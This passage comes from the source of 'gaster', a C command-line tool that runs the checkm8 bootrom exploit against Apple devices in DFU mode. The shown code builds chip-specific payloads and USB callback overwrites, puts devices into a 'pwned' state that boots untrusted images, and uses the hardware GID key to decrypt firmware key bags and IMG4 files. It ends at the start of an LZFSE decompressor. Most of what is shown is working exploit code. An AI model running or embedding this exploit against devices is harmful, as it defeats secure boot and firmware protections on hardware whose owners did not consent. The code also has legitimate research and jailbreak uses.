sizeof(reg)); 1097 | reg = 0x60000180000625; 1098 | memcpy(data + ttbr0_sram_off, ®, sizeof(reg)); 1099 | reg = 0x1800006A5; 1100 | memcpy(data + ttbr0_sram_off + sizeof(reg), ®, sizeof(reg)); 1101 | usb_rop_callbacks(data + offsetof(dfu_callback_t, callback), insecure_memory_base, callbacks, sizeof(callbacks) / sizeof(callbacks[0])); 1102 | data_sz = ttbr0_sram_off + 2 * sizeof(reg); 1103 | } else { 1104 | data_sz = 0; 1105 | } 1106 | memcpy(data + data_sz, payload, payload_sz); 1107 | data_sz += payload_sz; 1108 | if(cpid == 0x8003 || cpid == 0x8000) { 1109 | memset(A9.pwnd, '\0', sizeof(A9.pwnd)); 1110 | memcpy(A9.pwnd, pwnd_str, strlen(pwnd_str)); 1111 | A9.payload_dest = boot_tramp_end - payload_handle_checkm8_request_sz - sizeof(handle_checkm8_request); 1112 | A9.dfu_handle_bus_reset = dfu_handle_bus_reset; 1113 | A9.dfu_handle_request = dfu_handle_request; 1114 | A9.payload_off = payload_sz + sizeof(A9); 1115 | A9.payload_sz = payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request); 1116 | A9.memcpy_addr = memcpy_addr; 1117 | A9.gUSBSerialNumber = gUSBSerialNumber; 1118 | A9.usb_create_string_descriptor = usb_create_string_descriptor; 1119 | A9.usb_serial_number_string_descriptor = usb_serial_number_string_descriptor; 1120 | A9.ttbr0_vrom_addr = ttbr0_addr + ttbr0_vrom_off; 1121 | A9.patch_addr = patch_addr; 1122 | memcpy(data + data_sz, &A9, sizeof(A9)); 1123 | data_sz += sizeof(A9); 1124 | memcpy(data + data_sz, payload_handle_checkm8_request, payload_handle_checkm8_request_sz); 1125 | data_sz += payload_handle_checkm8_request_sz; 1126 | handle_checkm8_request.handle_interface_request = handle_interface_request; 1127 | handle_checkm8_request.insecure_memory_base = insecure_memory_base; 1128 | handle_checkm8_request.exec_magic = EXEC_MAGIC; 1129 | handle_checkm8_request.done_magic = DONE_MAGIC; 1130 | handle_checkm8_request.memc_magic = MEMC_MAGIC; 1131 | handle_checkm8_request.memcpy_addr = memcpy_addr; 1132 | handle_checkm8_request.usb_core_do_transfer = usb_core_do_transfer; 1133 | memcpy(data + data_sz, &handle_checkm8_request, sizeof(handle_checkm8_request)); 1134 | data_sz += sizeof(handle_checkm8_request); 1135 | } else if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) { 1136 | memset(notA9.pwnd, '\0', sizeof(notA9.pwnd)); 1137 | memcpy(notA9.pwnd, pwnd_str, strlen(pwnd_str)); 1138 | notA9.payload_dest = boot_tramp_end - payload_handle_checkm8_request_sz - sizeof(handle_checkm8_request); 1139 | notA9.dfu_handle_bus_reset = dfu_handle_bus_reset; 1140 | notA9.dfu_handle_request = dfu_handle_request; 1141 | notA9.payload_off = payload_sz + sizeof(notA9); 1142 | notA9.payload_sz = payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request); 1143 | notA9.memcpy_addr = memcpy_addr; 1144 | notA9.gUSBSerialNumber = gUSBSerialNumber; 1145 | notA9.usb_create_string_descriptor = usb_create_string_descriptor; 1146 | notA9.usb_serial_number_string_descriptor = usb_serial_number_string_descriptor; 1147 | notA9.patch_addr = patch_addr; 1148 | if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) { 1149 | notA9.patch_addr += ARM_16K_TT_L2_SZ; 1150 | } 1151 | memcpy(data + data_sz, ¬A9, sizeof(notA9)); 1152 | data_sz += sizeof(notA9); 1153 | memcpy(data + data_sz, payload_handle_checkm8_request, payload_handle_checkm8_request_sz); 1154 | data_sz += payload_handle_checkm8_request_sz; 1155 | handle_checkm8_request.handle_interface_request = handle_interface_request; 1156 | handle_checkm8_request.insecure_memory_base = insecure_memory_base; 1157 | handle_checkm8_request.exec_magic = EXEC_MAGIC; 1158 | handle_checkm8_request.done_magic = DONE_MAGIC; 1159 | handle_checkm8_request.memc_magic = MEMC_MAGIC; 1160 | handle_checkm8_request.memcpy_addr = memcpy_addr; 1161 | handle_checkm8_request.usb_core_do_transfer = usb_core_do_transfer; 1162 | memcpy(data + data_sz, &handle_checkm8_request, sizeof(handle_checkm8_request)); 1163 | data_sz += sizeof(handle_checkm8_request); 1164 | } else { 1165 | memset(notA9_armv7.pwnd, '\0', sizeof(notA9_armv7.pwnd)); 1166 | memcpy(notA9_armv7.pwnd, pwnd_str, strlen(pwnd_str)); 1167 | notA9_armv7.payload_dest = payload_dest_armv7; 1168 | notA9_armv7.dfu_handle_bus_reset = (uint32_t)dfu_handle_bus_reset; 1169 | notA9_armv7.dfu_handle_request = (uint32_t)dfu_handle_request; 1170 | notA9_armv7.payload_off = (uint32_t)(payload_sz + sizeof(notA9_armv7)); 1171 | notA9_armv7.payload_sz = (uint32_t)(payload_handle_checkm8_request_sz + sizeof(handle_checkm8_request_armv7)); 1172 | notA9_armv7.memcpy_addr = (uint32_t)memcpy_addr; 1173 | notA9_armv7.gUSBSerialNumber = (uint32_t)gUSBSerialNumber; 1174 | notA9_armv7.usb_create_string_descriptor = (uint32_t)usb_create_string_descriptor; 1175 | notA9_armv7.usb_serial_number_string_descriptor = (uint32_t)usb_serial_number_string_descriptor; 1176 | memcpy(data + data_sz, ¬A9_armv7, sizeof(notA9_armv7)); 1177 | data_sz += sizeof(notA9_armv7); 1178 | memcpy(data + data_sz, payload_handle_checkm8_request, payload_handle_checkm8_request_sz); 1179 | data_sz += payload_handle_checkm8_request_sz; 1180 | handle_checkm8_request_armv7.handle_interface_request = (uint32_t)handle_interface_request; 1181 | handle_checkm8_request_armv7.insecure_memory_base = (uint32_t)insecure_memory_base; 1182 | handle_checkm8_request_armv7.exec_magic = (uint32_t)EXEC_MAGIC; 1183 | handle_checkm8_request_armv7.done_magic = (uint32_t)DONE_MAGIC; 1184 | handle_checkm8_request_armv7.memc_magic = (uint32_t)MEMC_MAGIC; 1185 | handle_checkm8_request_armv7.memcpy_addr = (uint32_t)memcpy_addr; 1186 | handle_checkm8_request_armv7.usb_core_do_transfer = (uint32_t)usb_core_do_transfer; 1187 | memcpy(data + data_sz, &handle_checkm8_request_armv7, sizeof(handle_checkm8_request_armv7)); 1188 | data_sz += sizeof(handle_checkm8_request_armv7); 1189 | } 1190 | overwrite = NULL; 1191 | overwrite_sz = 0; 1192 | if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8003 || cpid == 0x8000) { 1193 | memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite)); 1194 | checkm8_overwrite.callback.callback = insecure_memory_base; 1195 | overwrite = &checkm8_overwrite; 1196 | overwrite_sz = sizeof(checkm8_overwrite); 1197 | } else if(cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) { 1198 | if(checkm8_usb_request_stall(handle) && checkm8_usb_request_leak(handle)) { 1199 | memset(&checkm8_overwrite, '\0', sizeof(checkm8_overwrite)); 1200 | checkm8_overwrite.callback.callback = nop_gadget; 1201 | checkm8_overwrite.callback.next = insecure_memory_base; 1202 | overwrite = &checkm8_overwrite; 1203 | overwrite_sz = sizeof(checkm8_overwrite); 1204 | } 1205 | } else { 1206 | memset(&checkm8_overwrite_armv7, '\0', sizeof(checkm8_overwrite_armv7)); 1207 | checkm8_overwrite_armv7.callback.callback = (uint32_t)insecure_memory_base; 1208 | overwrite = &checkm8_overwrite_armv7; 1209 | overwrite_sz = sizeof(checkm8_overwrite_armv7); 1210 | } 1211 | if(overwrite != NULL && send_usb_control_request(handle, 2, 3, 0, 0x80, overwrite, overwrite_sz, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_STALL) { 1212 | ret = true; 1213 | for(i = 0; ret && i < data_sz; i += packet_sz) { 1214 | packet_sz = MIN(data_sz - i, DFU_MAX_TRANSFER_SZ); 1215 | ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &data[i], packet_sz, NULL); 1216 | } 1217 | if(ret) { 1218 | send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LEN, NULL); 1219 | send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, NULL); 1220 | dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC); 1221 | dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST); 1222 | dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET); 1223 | } 1224 | } 1225 | free(data); 1226 | } 1227 | } 1228 | return ret; 1229 | } 1230 | 1231 | static bool 1232 | gaster_checkm8(usb_handle_t *handle) { 1233 | enum { 1234 | STAGE_RESET, 1235 | STAGE_SETUP, 1236 | STAGE_SPRAY, 1237 | STAGE_PATCH, 1238 | STAGE_PWNED 1239 | } stage = STAGE_RESET; 1240 | bool ret, pwned; 1241 | 1242 | init_usb_handle(handle, APPLE_VID, DFU_MODE_PID); 1243 | while(stage != STAGE_PWNED && wait_usb_handle(handle, checkm8_check_usb_device, &pwned)) { 1244 | if(!pwned) { 1245 | if(stage == STAGE_RESET) { 1246 | puts("Stage: RESET"); 1247 | ret = checkm8_stage_reset(handle); 1248 | stage = STAGE_SETUP; 1249 | } else if(stage == STAGE_SETUP) { 1250 | puts("Stage: SETUP"); 1251 | ret = checkm8_stage_setup(handle); 1252 | stage = STAGE_SPRAY; 1253 | } else if(stage == STAGE_SPRAY) { 1254 | puts("Stage: SPRAY"); 1255 | ret = checkm8_stage_spray(handle); 1256 | stage = STAGE_PATCH; 1257 | } else { 1258 | puts("Stage: PATCH"); 1259 | ret = checkm8_stage_patch(handle); 1260 | stage = STAGE_RESET; 1261 | } 1262 | if(ret) { 1263 | puts("ret: true"); 1264 | } else { 1265 | puts("ret: false"); 1266 | stage = STAGE_RESET; 1267 | } 1268 | reset_usb_handle(handle); 1269 | } else { 1270 | stage = STAGE_PWNED; 1271 | puts("Now you can boot untrusted images."); 1272 | } 1273 | close_usb_handle(handle); 1274 | } 1275 | return stage == STAGE_PWNED; 1276 | } 1277 | 1278 | static size_t 1279 | decompress_lzss(const uint8_t *src, size_t src_len, uint8_t *dst, size_t dst_len) { 1280 | const uint8_t *src_end = src + src_len, *dst_start = dst, *dst_end = dst + dst_len; 1281 | uint16_t i, r = LZSS_N - LZSS_F, flags = 0; 1282 | uint8_t text_buf[LZSS_N + LZSS_F - 1], j; 1283 | 1284 | memset(text_buf, ' ', r); 1285 | while(src != src_end && dst != dst_end) { 1286 | if(((flags >>= 1U) & 0x100U) == 0) { 1287 | flags = *src++ | 0xFF00U; 1288 | if(src == src_end) { 1289 | break; 1290 | } 1291 | } 1292 | if((flags & 1U) != 0) { 1293 | text_buf[r++] = *dst++ = *src++; 1294 | r &= LZSS_N - 1U; 1295 | } else { 1296 | i = *src++; 1297 | if(src == src_end) { 1298 | break; 1299 | } 1300 | j = *src++; 1301 | i |= (j & 0xF0U) << 4U; 1302 | j = (j & 0xFU) + LZSS_THRESHOLD; 1303 | do { 1304 | *dst++ = text_buf[r++] = text_buf[i++ & (LZSS_N - 1U)]; 1305 | r &= LZSS_N - 1U; 1306 | } while(j-- != 0 && dst != dst_end); 1307 | } 1308 | } 1309 | return (size_t)(dst - dst_start); 1310 | } 1311 | 1312 | static const uint8_t * 1313 | der_decode(const uint8_t *der, const uint8_t *der_end, size_t *out_len, uint8_t *tag) { 1314 | size_t der_len; 1315 | 1316 | if(der_end - der > 2) { 1317 | *tag = *der++; 1318 | if(((der_len = *der++) & 0x80U) != 0) { 1319 | *out_len = 0; 1320 | if((der_len &= 0x7FU) <= sizeof(*out_len) && (size_t)(der_end - der) >= der_len) { 1321 | while(der_len-- != 0) { 1322 | *out_len = (*out_len << 8U) | *der++; 1323 | } 1324 | } 1325 | } else { 1326 | *out_len = der_len; 1327 | } 1328 | if(*out_len != 0 && (size_t)(der_end - der) >= *out_len) { 1329 | return der; 1330 | } 1331 | } 1332 | return NULL; 1333 | } 1334 | 1335 | static const uint8_t * 1336 | der_decode_seq(const uint8_t *der, const uint8_t *der_end, const uint8_t **seq_end) { 1337 | size_t der_len; 1338 | uint8_t tag; 1339 | 1340 | if((der = der_decode(der, der_end, &der_len, &tag)) != NULL && tag == DER_SEQ) { 1341 | *seq_end = der + der_len; 1342 | } 1343 | return der; 1344 | } 1345 | 1346 | static const uint8_t * 1347 | der_decode_uint64(const uint8_t *der, const uint8_t *der_end, uint64_t *r) { 1348 | size_t der_len; 1349 | uint8_t tag; 1350 | 1351 | if((der = der_decode(der, der_end, &der_len, &tag)) != NULL && tag == DER_INT && (*der & 0x80U) == 0 && (der_len <= sizeof(*r) || (--der_len == sizeof(*r) && *der++ == 0))) { 1352 | *r = 0; 1353 | while(der_len-- != 0) { 1354 | *r = (*r << 8U) | *der++; 1355 | } 1356 | return der; 1357 | } 1358 | return NULL; 1359 | } 1360 | 1361 | static bool 1362 | der_parse_seq(const uint8_t *der, size_t der_len, const der_item_spec_t *specs, size_t spec_cnt, der_item_t *out) { 1363 | const uint8_t *der_end; 1364 | size_t i, off; 1365 | uint8_t tag; 1366 | 1367 | if((der = der_decode_seq(der, der + der_len, &der_end)) != NULL) { 1368 | for(i = 0; i < spec_cnt; ++i) { 1369 | if((der = der_decode(der, der_end, &der_len, &tag)) == NULL) { 1370 | for(; i < spec_cnt; ++i) { 1371 | if((specs[i].flags & DER_FLAG_OPTIONAL) == 0) { 1372 | return false; 1373 | } 1374 | } 1375 | return true; 1376 | } 1377 | if(specs[i].tag == tag) { 1378 | off = specs[i].off; 1379 | out[off].buf = der; 1380 | out[off].len = der_len; 1381 | } else if((specs[i].flags & DER_FLAG_OPTIONAL) == 0) { 1382 | return false; 1383 | } 1384 | der += der_len; 1385 | } 1386 | return true; 1387 | } 1388 | return false; 1389 | } 1390 | 1391 | static bool 1392 | img4_get_kbag(img4_t img4, uint8_t *kbag) { 1393 | const uint8_t *iv, *key, *der, *der_end; 1394 | size_t iv_len, key_len; 1395 | bool ret = false; 1396 | uint8_t tag; 1397 | uint64_t r; 1398 | 1399 | if(img4.im4p.kbag.buf != NULL && (der = der_decode_seq(img4.im4p.kbag.buf, img4.im4p.kbag.buf + img4.im4p.kbag.len, &der_end)) != NULL && (der = der_decode_seq(der, der_end, &der_end)) != NULL && (der = der_decode_uint64(der, der_end, &r)) != NULL && r == 1 && (iv = der_decode(der, der_end, &iv_len, &tag)) != NULL && tag == DER_OCTET_STR && iv_len == AES_BLOCK_SZ && (key = der_decode(iv + iv_len, der_end, &key_len, &tag)) != NULL && tag == DER_OCTET_STR && key_len == AES_KEY_SZ_BYTES_256) { 1400 | memcpy(kbag, iv, iv_len); 1401 | memcpy(kbag + iv_len, key, key_len); 1402 | ret = true; 1403 | } 1404 | return ret; 1405 | } 1406 | 1407 | static bool 1408 | img4_init(const uint8_t *src, size_t src_len, img4_t *img4) { 1409 | memset(img4, '\0', sizeof(*img4)); 1410 | return (der_parse_seq(src, src_len, der_img4_item_specs, sizeof(der_img4_item_specs) / sizeof(der_img4_item_specs[0]), &img4->magic) && img4->magic.len == 4 && memcmp(img4->magic.buf, "IMG4", img4->magic.len) == 0) || (der_parse_seq(src, src_len, der_im4p_item_specs, sizeof(der_im4p_item_specs) / sizeof(der_im4p_item_specs[0]), &img4->im4p.magic) && img4->im4p.magic.len == 4 && memcmp(img4->im4p.magic.buf, "IM4P", img4->im4p.magic.len) == 0); 1411 | } 1412 | 1413 | static bool 1414 | aes_256_cbc_decrypt(const uint8_t *key, const uint8_t *iv, const uint8_t *data_src, uint8_t *data_dst, size_t data_sz) { 1415 | #ifdef HAVE_LIBUSB 1416 | EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new(); 1417 | bool ret = false; 1418 | int out_sz; 1419 | 1420 | if(ctx != NULL) { 1421 | ret = EVP_DecryptInit(ctx, EVP_aes_256_cbc(), key, iv) == 1 && EVP_CIPHER_CTX_set_padding(ctx, 0) == 1 && EVP_DecryptUpdate(ctx, data_dst, &out_sz, data_src, (int)data_sz) == 1 && out_sz > 0 && (size_t)out_sz == data_sz && EVP_DecryptFinal(ctx, data_dst + out_sz, &out_sz) == 1 && out_sz == 0; 1422 | EVP_CIPHER_CTX_free(ctx); 1423 | } 1424 | return ret; 1425 | #else 1426 | size_t out_sz; 1427 | 1428 | return CCCrypt(kCCDecrypt, kCCAlgorithmAES, 0, key, AES_KEY_SZ_BYTES_256, iv, data_src, data_sz, data_dst, data_sz, &out_sz) == kCCSuccess && out_sz == data_sz; 1429 | #endif 1430 | } 1431 | 1432 | static bool 1433 | img4_decrypt(img4_t img4, uint8_t *kbag, uint8_t **dec, size_t *dec_sz) { 1434 | struct { 1435 | uint32_t magic, type, adler32, uncomp_sz, comp_sz; 1436 | uint8_t pad[COMP_HDR_PAD_SZ]; 1437 | } comp_hdr; 1438 | const uint8_t *der, *der_end; 1439 | bool ret = false; 1440 | uint8_t *data; 1441 | uint64_t r; 1442 | 1443 | if(img4.im4p.data.len > sizeof(comp_hdr) && (data = malloc(img4.im4p.data.len)) != NULL) { 1444 | if(aes_256_cbc_decrypt(kbag + AES_BLOCK_SZ, kbag, img4.im4p.data.buf, data, img4.im4p.data.len)) { 1445 | if(img4.im4p.comp.buf != NULL) { 1446 | der = img4.im4p.comp.buf; 1447 | der_end = der + img4.im4p.comp.len; 1448 | if((der = der_decode_uint64(der, der_end, &r)) != NULL && r == 1 && der_decode_uint64(der, der_end, &r) != NULL && r != 0 && (*dec = malloc((size_t)r)) != NULL) { 1449 | if(lzfse_decode_buffer(*dec, (size_t)r, data, img4.im4p.data.len, NULL) == r) { 1450 | *dec_sz = (size_t)r; 1451 | ret = true; 1452 | } else { 1453 | free(*dec); 1454 | } 1455 | } 1456 | } else { 1457 | memcpy(&comp_hdr, data, sizeof(comp_hdr)); 1458 | if(comp_hdr.magic == __builtin_bswap32(COMP_HDR_MAGIC) && comp_hdr.type == __builtin_bswap32(COMP_HDR_TYPE_LZSS) && (comp_hdr.comp_sz = __builtin_bswap32(comp_hdr.comp_sz)) <= img4.im4p.data.len - sizeof(comp_hdr) && (comp_hdr.uncomp_sz = __builtin_bswap32(comp_hdr.uncomp_sz)) != 0 && (*dec = malloc(comp_hdr.uncomp_sz)) != NULL) { 1459 | if(decompress_lzss(data, comp_hdr.comp_sz, *dec, comp_hdr.uncomp_sz) == comp_hdr.uncomp_sz) { 1460 | *dec_sz = comp_hdr.uncomp_sz; 1461 | ret = true; 1462 | } else { 1463 | free(*dec); 1464 | } 1465 | } else if((*dec = malloc(img4.im4p.data.len)) != NULL) { 1466 | memcpy(*dec, data, img4.im4p.data.len); 1467 | *dec_sz = img4.im4p.data.len; 1468 | ret = true; 1469 | } 1470 | } 1471 | } 1472 | free(data); 1473 | } 1474 | return ret; 1475 | } 1476 | 1477 | static bool 1478 | gaster_command(usb_handle_t *handle, void *request_data, size_t request_len, uint8_t **response, size_t response_len) { 1479 | transfer_ret_t transfer_ret; 1480 | bool ret = false; 1481 | 1482 | if(wait_usb_handle(handle, NULL, NULL)) { 1483 | if(dfu_send_data(handle, request_data, request_len) && (*response = malloc(response_len)) != NULL) { 1484 | if(send_usb_control_request(handle, 0xA1, 2, 0xFFFF, 0, *response, response_len, &transfer_ret) && transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == response_len) { 1485 | ret = true; 1486 | } else { 1487 | free(*response); 1488 | } 1489 | } 1490 | close_usb_handle(handle); 1491 | } 1492 | return ret; 1493 | } 1494 | 1495 | static bool 1496 | gaster_aes(usb_handle_t *handle, uint32_t cmd, const uint8_t *src, uint8_t *dst, size_t len, uint32_t options) { 1497 | struct { 1498 | uint32_t magic_0, magic_1, func, pad, r[8]; 1499 | } exec_cmd_armv7; 1500 | uint8_t data[DFU_MAX_TRANSFER_SZ], *response; 1501 | struct { 1502 | uint64_t magic, func, x[8]; 1503 | } exec_cmd; 1504 | uint32_t r_armv7; 1505 | size_t data_sz; 1506 | uint64_t r; 1507 | 1508 | if(cpid == 0x8960 || cpid == 0x7001 || cpid == 0x7000 || cpid == 0x8003 || cpid == 0x8000 || cpid == 0x8001 || cpid == 0x8010 || cpid == 0x8011 || cpid == 0x8015 || cpid == 0x8012) { 1509 | exec_cmd.magic = EXEC_MAGIC; 1510 | exec_cmd.func = aes_crypto_cmd; 1511 | exec_cmd.x[0] = cmd; 1512 | exec_cmd.x[1] = insecure_memory_base + 9 * sizeof(r); 1513 | exec_cmd.x[2] = insecure_memory_base + 2 * sizeof(r); 1514 | exec_cmd.x[3] = len; 1515 | exec_cmd.x[4] = options; 1516 | exec_cmd.x[5] = 0; 1517 | exec_cmd.x[6] = 0; 1518 | memcpy(data, &exec_cmd, sizeof(exec_cmd) - sizeof(r)); 1519 | data_sz = sizeof(exec_cmd) - sizeof(r); 1520 | memcpy(data + data_sz, src, len); 1521 | data_sz += len; 1522 | } else { 1523 | exec_cmd_armv7.magic_0 = (uint32_t)EXEC_MAGIC; 1524 | exec_cmd_armv7.magic_1 = (uint32_t)EXEC_MAGIC; 1525 | exec_cmd_armv7.func = (uint32_t)aes_crypto_cmd; 1526 | exec_cmd_armv7.pad = 0; 1527 | exec_cmd_armv7.r[0] = cmd; 1528 | exec_cmd_armv7.r[1] = (uint32_t)(insecure_memory_base + 11 * sizeof(r_armv7)); 1529 | exec_cmd_armv7.r[2] = (uint32_t)(insecure_memory_base + 4 * sizeof(r_armv7)); 1530 | exec_cmd_armv7.r[3] = (uint32_t)len; 1531 | exec_cmd_armv7.r[4] = options; 1532 | exec_cmd_armv7.r[5] = 0; 1533 | exec_cmd_armv7.r[6] = 0; 1534 | memcpy(data, &exec_cmd_armv7, sizeof(exec_cmd_armv7) - sizeof(r_armv7)); 1535 | data_sz = sizeof(exec_cmd_armv7) - sizeof(r_armv7); 1536 | memcpy(data + data_sz, src, len); 1537 | data_sz += len; 1538 | } 1539 | if(gaster_command(handle, data, data_sz, &response, len + 2 * sizeof(r))) { 1540 | memcpy(&r, response, sizeof(r)); 1541 | if(r != DONE_MAGIC) { 1542 | free(response); 1543 | return false; 1544 | } 1545 | memcpy(&r, response + sizeof(r), sizeof(r)); 1546 | if((uint32_t)r != 0) { 1547 | free(response); 1548 | return false; 1549 | } 1550 | memcpy(dst, response + 2 * sizeof(r), len); 1551 | free(response); 1552 | return true; 1553 | } 1554 | return false; 1555 | } 1556 | 1557 | static bool 1558 | gaster_decrypt(usb_handle_t *handle, const uint8_t *src, size_t src_len, uint8_t **dst, size_t *dst_len) { 1559 | uint8_t kbag[AES_BLOCK_SZ + AES_KEY_SZ_BYTES_256]; 1560 | img4_t img4; 1561 | 1562 | return img4_init(src, src_len, &img4) && img4_get_kbag(img4, kbag) && gaster_aes(handle, AES_CMD_CBC | AES_CMD_DEC, kbag, kbag, sizeof(kbag), AES_KEY_SZ_256 | AES_KEY_TYPE_GID0) && img4_decrypt(img4, kbag, dst, dst_len); 1563 | } 1564 | 1565 | static bool 1566 | gaster_decrypt_kbag(usb_handle_t *handle, const char *kbag_str) { 1567 | uint8_t kbag[AES_BLOCK_SZ + AES_KEY_SZ_BYTES_256]; 1568 | bool ret = false; 1569 | size_t i; 1570 | 1571 | if(strlen(kbag_str) == 2 * sizeof(kbag)) { 1572 | for(i = 0; i < sizeof(kbag); ++i) { 1573 | if(sscanf(&kbag_str[2 * i], "%02" SCNx8, &kbag[i]) != 1) { 1574 | break; 1575 | } 1576 | } 1577 | if(i == sizeof(kbag) && gaster_checkm8(handle) && gaster_aes(handle, AES_CMD_CBC | AES_CMD_DEC, kbag, kbag, sizeof(kbag), AES_KEY_SZ_256 | AES_KEY_TYPE_GID0)) { 1578 | printf("IV: "); 1579 | for(i = 0; i < AES_BLOCK_SZ; ++i) { 1580 | printf("%02" PRIX8, kbag[i]); 1581 | } 1582 | printf(", key: "); 1583 | for(i = 0; i < AES_KEY_SZ_BYTES_256; ++i) { 1584 | printf("%02" PRIX8, kbag[AES_BLOCK_SZ + i]); 1585 | } 1586 | putchar('\n'); 1587 | ret = true; 1588 | } 1589 | } 1590 | return ret; 1591 | } 1592 | 1593 | static bool 1594 | gaster_decrypt_file(usb_handle_t *handle, const char *src_filename, const char *dst_filename) { 1595 | uint8_t *buf, *dec; 1596 | size_t len, dec_sz; 1597 | bool ret = false; 1598 | FILE *dst_fp; 1599 | 1600 | if(read_binary_file(src_filename, &buf, &len)) { 1601 | if(gaster_checkm8(handle) && gaster_decrypt(handle, buf, len, &dec, &dec_sz)) { 1602 | if((dst_fp = fopen(dst_filename, "wb")) != NULL) { 1603 | ret = fwrite(dec, 1, dec_sz, dst_fp) == dec_sz; 1604 | fclose(dst_fp); 1605 | } 1606 | free(dec); 1607 | } 1608 | free(buf); 1609 | } 1610 | return ret; 1611 | } 1612 | 1613 | static bool 1614 | gaster_reset(usb_handle_t *handle) { 1615 | init_usb_handle(handle, APPLE_VID, DFU_MODE_PID); 1616 | if(wait_usb_handle(handle, NULL, NULL)) { 1617 | send_usb_control_request_no_data(handle, 0x21, DFU_CLR_STATUS, 0, 0, 0, NULL); 1618 | reset_usb_handle(handle); 1619 | close_usb_handle(handle); 1620 | return true; 1621 | } 1622 | return false; 1623 | } 1624 | 1625 | int 1626 | main(int argc, char **argv) { 1627 | char *env_usb_timeout = getenv("USB_TIMEOUT"), *env_usb_abort_timeout_min = getenv("USB_ABORT_TIMEOUT_MIN"); 1628 | int ret = EXIT_FAILURE; 1629 | usb_handle_t handle; 1630 | 1631 | if(env_usb_timeout == NULL || sscanf(env_usb_timeout, "%u", &usb_timeout) != 1 || usb_timeout < 1) { 1632 | usb_timeout = 5; 1633 | } 1634 | printf("usb_timeout: %u\n", usb_timeout); 1635 | if(env_usb_abort_timeout_min == NULL || sscanf(env_usb_abort_timeout_min, "%u", &usb_abort_timeout_min) != 1 || usb_abort_timeout_min > usb_timeout) { 1636 | usb_abort_timeout_min = 0; 1637 | } 1638 | printf("usb_abort_timeout_min: %u\n", usb_abort_timeout_min); 1639 | if(argc == 2 && strcmp(argv[1], "reset") == 0) { 1640 | if(gaster_reset(&handle)) { 1641 | ret = 0; 1642 | } 1643 | } else if(argc == 2 && strcmp(argv[1], "pwn") == 0) { 1644 | if(gaster_checkm8(&handle)) { 1645 | ret = 0; 1646 | } 1647 | } else if(argc == 4 && strcmp(argv[1], "decrypt") == 0) { 1648 | if(gaster_decrypt_file(&handle, argv[2], argv[3])) { 1649 | ret = 0; 1650 | } 1651 | } else if(argc == 3 && strcmp(argv[1], "decrypt_kbag") == 0) { 1652 | if(gaster_decrypt_kbag(&handle, argv[2])) { 1653 | ret = 0; 1654 | } 1655 | } else { 1656 | printf("Usage: env %s options\n", argv[0]); 1657 | puts("env:"); 1658 | puts("USB_TIMEOUT - USB timeout in ms"); 1659 | puts("USB_ABORT_TIMEOUT_MIN - USB abort timeout minimum in ms"); 1660 | puts("options:"); 1661 | puts("reset - Reset DFU state"); 1662 | puts("pwn - Put the device in pwned DFU mode"); 1663 | puts("decrypt src dst - Decrypt file using GID0 AES key"); 1664 | puts("decrypt_kbag kbag - Decrypt KBAG using GID0 AES key"); 1665 | } 1666 | return ret; 1667 | } 1668 | -------------------------------------------------------------------------------- /lzfse.c: -------------------------------------------------------------------------------- 1 | /* Copyright 2023 0x7ff 2 | * 3 | * Licensed under the Apache License, Version 2.0 (the "License"); 4 | * you may not use this file except in compliance with the License. 5 | * You may obtain a copy of the License at 6 | * 7 | * http://www.apache.org/licenses/LICENSE-2.0 8 | * 9 | * Unless required by applicable law or agreed to in writing, software 10 | * distributed under the License is distributed on an "AS IS" BASIS, 11 | * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | * See the License for the specific language governing permissions and 13 | * limitations under the License. 14 | */ 15 | #include "lzfse.h" 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #define LZFSE_ENCODE_L_STATES (64) 22 | #define LZFSE_ENCODE_M_STATES (64) 23 | #define LZFSE_ENCODE_D_STATES (256) 24 | #define LZFSE_ENCODE_L_SYMBOLS (20) 25 | #define LZFSE_ENCODE_M_SYMBOLS (20) 26 | #define LZFSE_ENCODE_D_SYMBOLS (64) 27 | #define LZFSE_MATCHES_PER_BLOCK (10000) 28 | #define LZFSE_NO_BLOCK_MAGIC (0x00000000U) 29 | #define LZFSE_ENCODE_LITERAL_STATES (1024) 30 | #define LZFSE_ENCODE_LITERAL_SYMBOLS (256) 31 | #define LZFSE_ENDOFSTREAM_BLOCK_MAGIC (0x24787662U) 32 | #define LZFSE_UNCOMPRESSED_BLOCK_MAGIC (0x2D787662U) 33 | #define LZFSE_COMPRESSEDV1_BLOCK_MAGIC (0x31787662U) 34 | #define LZFSE_COMPRESSEDV2_BLOCK_MAGIC (0x32787662U) 35 | #define LZFSE_COMPRESSEDLZVN_BLOCK_MAGIC (0x6E787662U) 36 | #define LZFSE_LITERALS_PER_BLOCK (4 * LZFSE_MATCHES_PER_BLOCK) 37 | 38 | typedef uint16_t fse_state; 39 | typedef struct { 40 | uint8_t k, symbol; 41 | uint16_t delta; 42 | } fse_decoder_entry; 43 | typedef struct { 44 | uint32_t magic, n_raw_bytes; 45 | } uncompressed_block_header; 46 | typedef struct { 47 | uint32_t n_raw_bytes; 48 | } uncompressed_block_decoder_state; 49 | typedef struct { 50 | uint64_t accum; 51 | uint32_t accum_nbits, pad; 52 | } fse_in_stream; 53 | typedef struct { 54 | uint8_t total_bits, value_bits; 55 | uint16_t delta; 56 | uint32_t vbase; 57 | } fse_value_decoder_entry; 58 | typedef struct { 59 | uint32_t n_matches, 